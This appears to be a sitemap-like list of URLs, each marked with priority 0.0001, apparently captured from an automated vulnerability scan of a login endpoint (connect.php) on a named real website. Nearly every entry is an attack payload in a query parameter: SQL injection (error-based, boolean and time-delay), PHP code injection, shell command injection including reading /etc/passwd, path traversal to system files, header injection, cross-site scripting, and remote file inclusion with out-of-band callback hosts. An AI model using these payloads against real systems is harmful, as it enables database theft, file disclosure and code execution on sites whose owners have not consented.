http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20OR%2079=79%20AND%20('Jv'='Jv 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20OR%2091=42%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(22=22)%20THEN%20'index.php'%20ELSE%200x28%20END))%20AND%20('6M'='6M 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(49=49)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END))%20AND%20('1M'='1M 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=15)%20THEN%20'index.php'%20ELSE%200x28%20END))%20AND%20('RS'='RS 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(98=19)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END))%20AND%20('0r'='0r 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php';%20IF(55=76)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php';%20IF(91=91)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=55)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END))%20AND%20(54=54 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(96=96)%20THEN%200x696E6465782E706870%20ELSE%200x28%20END))%20AND%20(35=35 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php);%20IF(14=14)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php);%20IF(79=12)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x696E6465782E706870%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,(SELECT%20(CASE%20WHEN%20(62=15)%20THEN%200x696E6465782E706870%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%200x696E6465782E706870%20ELSE%2069*(SELECT%2069%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,(SELECT%20(CASE%20WHEN%20(78=78)%20THEN%200x696E6465782E706870%20ELSE%2078*(SELECT%2078%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,(SELECT%20(CASE%20WHEN%20(85=71)%20THEN%200x696E6465782E706870%20ELSE%2085*(SELECT%2085%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,(SELECT%20(CASE%20WHEN%20(95=91)%20THEN%200x696E6465782E706870%20ELSE%2095*(SELECT%2095%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.phpAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.phpalert(42873) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=response.write(9412458*9542755) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%3Cdir 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=');print(md5(1122));// 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x696E6974%20ELSE%2011*(SELECT%2011%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(21=81)%20THEN%200x696E6974%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(25=92)%20THEN%200x696E6974%20ELSE%2025*(SELECT%2025%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(37=37)%20THEN%200x696E6974%20ELSE%2037*(SELECT%2037%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(59=59)%20THEN%200x696E6974%20ELSE%2059*(SELECT%2059%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(78=29)%20THEN%200x696E6974%20ELSE%2078*(SELECT%2078%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(83=83)%20THEN%200x696E6974%20ELSE%2083*(SELECT%2083%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(86=24)%20THEN%200x696E6974%20ELSE%2086*(SELECT%2086%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(86=86)%20THEN%200x696E6974%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20(CASE%20WHEN%20(91=31)%20THEN%200x696E6974%20ELSE%2091*(SELECT%2091%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=................windowswin.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=;print(md5(1122));%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=C:%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=ELT(69=69,0x696E6974) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=ELT(96=59,0x696E6974) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=MAKE_SET(82=82,0x696E6974) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=MAKE_SET(83=96,0x696E6974) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=dir 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=file:///c:/boot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%00' 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&referer=index.php&statfrom=login_simple&op=init%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 